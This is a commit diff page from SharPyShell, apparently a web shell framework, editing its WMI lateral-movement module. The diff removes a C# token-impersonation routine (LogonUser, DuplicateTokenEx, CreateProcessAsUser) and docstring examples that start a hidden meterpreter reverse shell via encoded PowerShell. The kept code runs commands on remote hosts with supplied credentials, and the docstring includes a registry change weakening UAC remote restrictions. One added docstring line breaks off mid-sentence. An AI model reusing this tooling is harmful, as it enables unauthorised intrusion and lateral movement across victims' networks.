Projects STRLCPY SharPyShell Commits 56f4289a
🤬
  • ■ ■ ■ ■ ■
    modules/lateral_wmi.py
    skipped 23 lines
    24 24   reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
    25 25  
    26 26   If you use domain users for the lateral movement, no restrictions to the process token will be applied.
     27 + Remember to always specify the domain in the username field. If you use a local account use
    27 28  
    28 29   This module uses WMI builtin features wmi and doesn't need additional files to be droppend on the target
    29 30   server.
    30  -
    31  - Moreover this module should be run from a privileged user.
    32  - If the application pool within the web application you are interacting with is run with application pool
    33  - identity account or any limited account you won't be able to move laterally to other systems
    34  - due to restrictions applied to the user.
    35  - In those cases, you need to use different credentials of a more privileged user in order to launch this module.
    36 31  
    37 32   Note that, wmi commands don't return stdout/stderr output from the execution of remote processes.
    38 33   You should redirect output to a shared resource (i.e. local share with everyone permission) or just spawn
    skipped 8 lines
    47 42   you can specify domain\username if user is in a domain
    48 43   password password of the user to use to login on the target server
    49 44   command a command compatible by cmd.exe
    50  - [local_user] the username of a local user with privileged rights
    51  - [local_password] the password of a local user with privileged rights
    52  - [local_domain] the domain of a local user with privileged rights
    53 45  
    54 46   Examples:
    55 47   Lateral movement as privileged current application pool user, output to local shared resource:
    56  - #lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' 'whoami /priv > \\192.168.56.101\everyone\output.txt'
    57  - Lateral movement as privileged local user using meterpreter http reverse shell (format psh-cmd):
    58  - #lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'local_privileged_user1' 'local_privileged_password1'
    59  - Lateral movement as privileged domain user using meterpreter http reverse shell (format psh-cmd):
    60  - #lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1'
     48 + #lateral_wmi 192.168.56.102 'domain\remote_user1' 'remote_password1' 'whoami /all > C:\Windows\Temp\whoami.txt'
    61 49  
    62 50   """
    63 51   
    skipped 40 lines
    104 92   }
    105 93   """
    106 94   
    107  - _runtime_code_runas = r"""
    108  - using System;using System.IO;using System.Diagnostics;using System.Text;
    109  - using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;
    110  - 
    111  - public class SharPyShell
    112  - {
    113  - public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
    114  - {
    115  - private SafeTokenHandle()
    116  - : base(true)
    117  - {
    118  - }
    119  - 
    120  - [DllImport("kernel32.dll")]
    121  - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
    122  - [SuppressUnmanagedCodeSecurity]
    123  - [return: MarshalAs(UnmanagedType.Bool)]
    124  - private static extern bool CloseHandle(IntPtr handle);
    125  - 
    126  - protected override bool ReleaseHandle()
    127  - {
    128  - return CloseHandle(handle);
    129  - }
    130  - }
    131  - 
    132  - [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
    133  - {
    134  - public int cb;
    135  - public String lpReserved;
    136  - public String lpDesktop;
    137  - public String lpTitle;
    138  - public uint dwX;
    139  - public uint dwY;
    140  - public uint dwXSize;
    141  - public uint dwYSize;
    142  - public uint dwXCountChars;
    143  - public uint dwYCountChars;
    144  - public uint dwFillAttribute;
    145  - public uint dwFlags;
    146  - public short wShowWindow;
    147  - public short cbReserved2;
    148  - public IntPtr lpReserved2;
    149  - public IntPtr hStdInput;
    150  - public IntPtr hStdOutput;
    151  - public IntPtr hStdError;
    152  - }
    153  - 
    154  - [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
    155  - {
    156  - public IntPtr hProcess;
    157  - public IntPtr hThread;
    158  - public uint dwProcessId;
    159  - public uint dwThreadId;
    160  - }
    161  - 
    162  - [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
    163  - {
    164  - public int Length;
    165  - public IntPtr lpSecurityDescriptor;
    166  - public bool bInheritHandle;
    167  - }
    168  - 
    169  - [DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
    170  - public static extern bool CloseHandle(IntPtr handle);
    171  - 
    172  - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    173  - public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
    174  - 
    175  - [DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
    176  - public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
    177  - 
    178  - [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
    179  - public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
    180  - 
    181  - [DllImport("kernel32.dll", SetLastError=true)]
    182  - public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
    183  - 
    184  - const uint WAIT_ABANDONED = 0x00000080;
    185  - const uint WAIT_OBJECT_0 = 0x00000000;
    186  - const uint WAIT_TIMEOUT = 0x00000102;
    187  - 
    188  - [PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
    189  - public string LateralWMIRunas(string userName, string password, string domainName, string wmi_arguments, string stdout_file, string stderr_file, string working_directory)
    190  - {
    191  - SafeTokenHandle safeTokenHandle;
    192  - int logon_type = 4;
    193  - uint process_ms_timeout = 60000;
    194  - string output = "";
    195  - string error_string = "{{{SharPyShellError}}}";
    196  - try
    197  - {
    198  - const int LOGON32_PROVIDER_DEFAULT = 0;
    199  - const int LOGON32_PROVIDER_WINNT35 = 1;
    200  - const int LOGON32_PROVIDER_WINNT40 = 2;
    201  - const int LOGON32_PROVIDER_WINNT50 = 3;
    202  - bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
    203  - if (false == returnValue)
    204  - {
    205  - output += error_string + "\nWrong Credentials. LogonUser failed with error code : " + Marshal.GetLastWin32Error();
    206  - return output;
    207  - }
    208  - using (safeTokenHandle)
    209  - {
    210  - using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
    211  - {
    212  - using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
    213  - {
    214  - IntPtr Token = new IntPtr(0);
    215  - IntPtr DupedToken = new IntPtr(0);
    216  - bool ret;
    217  - SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
    218  - sa.bInheritHandle = false;
    219  - sa.Length = Marshal.SizeOf(sa);
    220  - sa.lpSecurityDescriptor = (IntPtr)0;
    221  - Token = WindowsIdentity.GetCurrent().Token;
    222  - const uint GENERIC_ALL = 0x10000000;
    223  - const int SecurityImpersonation = 2;
    224  - const int TokenType = 1;
    225  - ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
    226  - if (ret == false){
    227  - output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
    228  - return output;
    229  - }
    230  - STARTUPINFO si = new STARTUPINFO();
    231  - si.cb = Marshal.SizeOf(si);
    232  - si.lpDesktop = "";
    233  - string commandLinePath = "";
    234  - File.Create(stdout_file).Dispose();
    235  - File.Create(stderr_file).Dispose();
    236  - string cmd_path = commandLinePath = Environment.GetEnvironmentVariable("ComSpec");
    237  - string wmic_path = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\system32\\wbem\\wmic.exe";
    238  - commandLinePath = cmd_path + " /c " + wmic_path + " " + wmi_arguments + " >> " + stdout_file + " 2>>" + stderr_file;
    239  - PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    240  - ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
    241  - if (ret == false){
    242  - output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
    243  - return output;
    244  - }
    245  - else{
    246  - uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
    247  - if(wait_for == WAIT_OBJECT_0){
    248  - output += "\n" + File.ReadAllText(stdout_file);
    249  - string errors = File.ReadAllText(stderr_file);
    250  - if (!String.IsNullOrEmpty(errors))
    251  - output += "\n" + errors;
    252  - }
    253  - else{
    254  - output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
    255  - }
    256  - File.Delete(stdout_file);
    257  - File.Delete(stderr_file);
    258  - CloseHandle(pi.hProcess);
    259  - CloseHandle(pi.hThread);
    260  - }
    261  - CloseHandle(DupedToken);
    262  - }
    263  - }
    264  - }
    265  - }
    266  - catch (Exception ex)
    267  - {
    268  - output += error_string + "\nException occurred. " + ex.Message;
    269  - return output;
    270  - }
    271  - return output;
    272  - }
    273  - 
    274  - public byte[] ExecRuntime()
    275  - {
    276  - string output_func=LateralWMIRunas(@"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s");
    277  - byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
    278  - return(output_func_byte);
    279  - }
    280  - }
    281  - """
    282  - 
    283  - __default_local_user = ''
    284  - __default_local_password = ''
    285  - __default_local_domain = ''
    286 95   __wmi_code_arguments = r'/node:%s /user:""%s"" /password:""%s"" process call create ""cmd.exe /c %s""'
    287 96   
    288 97   def __run_as_current_user(self, wmi_code_arguments):
    289  - request = self._create_request([wmi_code_arguments, 'current_user'])
    290  - encrypted_request = self._encrypt_request(request)
    291  - encrypted_response = self._post_request(encrypted_request)
    292  - decrypted_response = self._decrypt_response(encrypted_response)
    293  - return decrypted_response
    294  - 
    295  - def __run_as(self, wmi_code_arguments, local_user, local_password, local_domain):
    296  - request = self._create_request([[wmi_code_arguments, local_user, local_password, local_domain], 'runas'])
     98 + request = self._create_request(wmi_code_arguments)
    297 99   encrypted_request = self._encrypt_request(request)
    298 100   encrypted_response = self._post_request(encrypted_request)
    299 101   decrypted_response = self._decrypt_response(encrypted_response)
    skipped 7 lines
    307 109   username = args_parser.get(1)
    308 110   password = args_parser.get(2)
    309 111   command = args_parser.get(3)
    310  - local_user = args_parser.get(4, self.__default_local_user)
    311  - local_password = args_parser.get(5, self.__default_local_password)
    312  - local_domain = args_parser.get(6, self.__default_local_domain)
    313  - return target_ip, username, password, command, local_user, local_password, local_domain
     112 + return target_ip, username, password, command
    314 113   
    315 114   def _create_request(self, args):
    316  - arguments, request_type = args
     115 + arguments = args
    317 116   working_path = self._module_settings['working_directory']
    318  - if request_type == 'runas':
    319  - wmi_code_arguments, local_user, local_password, local_domain = arguments
    320  - stdout_file = self._module_settings['env_directory'] + '\\' + random_generator()
    321  - stderr_file = self._module_settings['env_directory'] + '\\' + random_generator()
    322  - request = self._runtime_code_runas % (local_user, local_password, local_domain, wmi_code_arguments,
    323  - stdout_file, stderr_file, working_path)
    324  - else:
    325  - wmi_code_arguments = arguments
    326  - request = self._runtime_code % (wmi_code_arguments, working_path)
     117 + wmi_code_arguments = arguments
     118 + request = self._runtime_code % (wmi_code_arguments, working_path)
    327 119   return request
    328 120   
    329 121   def run(self, args):
    330 122   try:
    331  - target_ip, username, password, command,\
    332  - local_user, local_password, local_domain = self.__parse_run_args(args)
     123 + target_ip, username, password, command = self.__parse_run_args(args)
    333 124   wmi_code_arguments = self.__wmi_code_arguments % (target_ip, username, password, command)
    334  - if local_user == '':
    335  - response = self.__run_as_current_user(wmi_code_arguments)
    336  - else:
    337  - response = self.__run_as(wmi_code_arguments, local_user, local_password, local_domain)
     125 + response = self.__run_as_current_user(wmi_code_arguments)
    338 126   parsed_response = self._parse_response(response)
    339 127   except ModuleException as module_exc:
    340 128   parsed_response = str(module_exc)
    skipped 5 lines
Please wait...
Page is in error, reload to recover